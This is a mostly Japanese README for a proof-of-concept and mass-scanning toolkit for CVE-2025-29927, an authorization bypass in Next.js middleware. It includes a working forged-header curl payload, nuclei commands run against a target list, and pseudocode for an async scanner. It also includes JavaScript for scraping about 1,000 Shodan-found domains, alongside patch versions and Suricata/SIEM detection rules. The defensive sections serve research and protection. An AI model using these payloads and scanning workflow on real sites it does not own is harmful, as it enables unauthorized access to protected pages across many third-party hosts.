
Proof-of-concept and mass scanning toolkit for CVE-2025-29927, a Next.js middleware authorization bypass via forged x-middleware-subrequest header. Includes nuclei templates and Python scanner.
概要: Next.js のミドルウェアにおける脆弱性で、
x-middleware-subrequestヘッダーを偽装することで認可チェックをバイパスできます。
Shodan でフィルター http.headers:"x-middleware-rewrite" により検索を実行し、1000 ドメインのリストを取得しました。
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();
背景と経緯 Next.js の初期バージョンのミドルウェアでは、アプリケーション自体への内部(サブ)リクエストが発生する可能性がありました。再帰を防ぐために、フレームワークは内部マーカーとして機能する HTTP ヘッダーを導入し、「このリクエストは既に処理済み」ということを示しました。このアプローチは実用的で、ミドルウェアパイプライン内の無限ループを回避することができました。
ミドルウェアの進化とペイロード
Next.js 12.2 より前では、ミドルウェアは _middleware として pages/ 内に配置され、ネスト可能でした(例: pages/_middleware, pages/dashboard/_middleware)。ペイロードは特定のパス(例: x-middleware-subrequest: pages/dashboard/_middleware)を指定できました。
12.2 以降、ミドルウェアは middleware.js/ts という名前になり、pages/ 内には存在しなくなりました。この場合、単純なペイロード x-middleware-subrequest: middleware (または src/ を使用する場合は src/middleware)が機能することがよくありました。
後期バージョン(13.2.0 以降)では MAX_RECURSION_DEPTH を含む追加のチェックが導入され、一部の回避策では middleware:middleware:... のような値を繰り返してネストされたチェーンを模倣していました。
実際には、ペイロードの正確な形式は Next.js のバージョンとプロジェクト構成に依存します。
CVE-2025-29927x-middleware-subrequest を誤って信頼します。外部クライアントがこのヘッダーを設定することで、アクセスチェックをバイパスできます。x-middleware-subrequest フラグに依存していることに起因します。このフィールドはもともとフレームワークの内部処理用に設計されていましたが、外部リクエストがこのヘッダーを設定できるため、認可バイパスが可能になります。x-middleware-subrequest ヘッダーを信頼し、追加検証なしでリクエストを通過させた。以下のバージョン範囲が脆弱です:
>= 11.1.4 かつ < 12.3.5>= 13.0.0 かつ < 13.5.9>= 14.0.0 かつ < 14.2.25>= 15.0.0 かつ < 15.2.39.1 (CRITICAL)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ngit clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# ヘッダーなし — 拒否を期待 (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20
# 偽装ヘッダー付き — 脆弱性があれば 200 + ボディが返る
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20
/_next/static/, package.json, headers, favicon hash) — 安全モード。x-middleware-subrequest を付けて GET を送信し、応答を比較。必ず rate-limit と throttle を使用すること。実行コマンド例:
# passive
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# active (制御下で)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
x-middleware-subrequest ヘッダー付きで再度実行 → ステータスとボディを比較。--concurrency, --delay, --dry-run, --respect-robots。aiohttp / asyncio を使用。簡易擬似コード:
async def probe(url):
r1 = await session.get(url)
r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
if significant_difference(r1, r2):
report_vulnerable(url)
>= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3。x-middleware-subrequest ヘッダーを削除/クリア:x-middleware-subrequest リクエストを警告し、送信元を確認する。ルール/アラートの例:
SIEM: 受信リクエストに x-middleware-subrequest が含まれ、source.ip が trusted_proxies にない場合にアラート。
Suricata (疑似):
alert http any any -> any any (msg:"External request with X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)
/_next/static/, package.json, headers, favicon hash)。悪用なし — 安全。x-middleware-subrequest ヘッダー付きで GET を実行し、応答の違い(body/status)を確認する注意深いテンプレート。Throttle と rate-limit は必須。--dry-run と --respect-robots オプション。alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies
https://github.com/<author>/CVE-2025-29927-POChttps://github.com/<author>/vulnerable-nextjs-demo修正の経緯と x-middleware-subrequest-id の問題
最初の迅速な修正には、内部識別子 x-middleware-subrequest-id のアイデアが含まれていました。これはランタイムで生成・検証され、有効な内部サブリクエストと偽装を区別するためのものでした。
しかし、実装には副作用があることが判明しました。この内部 ID が外部に漏れる可能性があり(送信 fetch/リクエストに含まれる)、新たなリスクを生み出しました。さらに、複数の CDN/PoP や混在するランタイム(Edge vs Node)環境では、ID の署名/同期が信頼できないことも判明しました。
その結果、x-middleware-subrequest-id のコードは削除/再設計されました。最終的な解決策は、Next.js のパッチとプラットフォームレベルの軽減策(イングレス/エッジレベルでの内部ヘッダーのフィルタリング)の組み合わせです。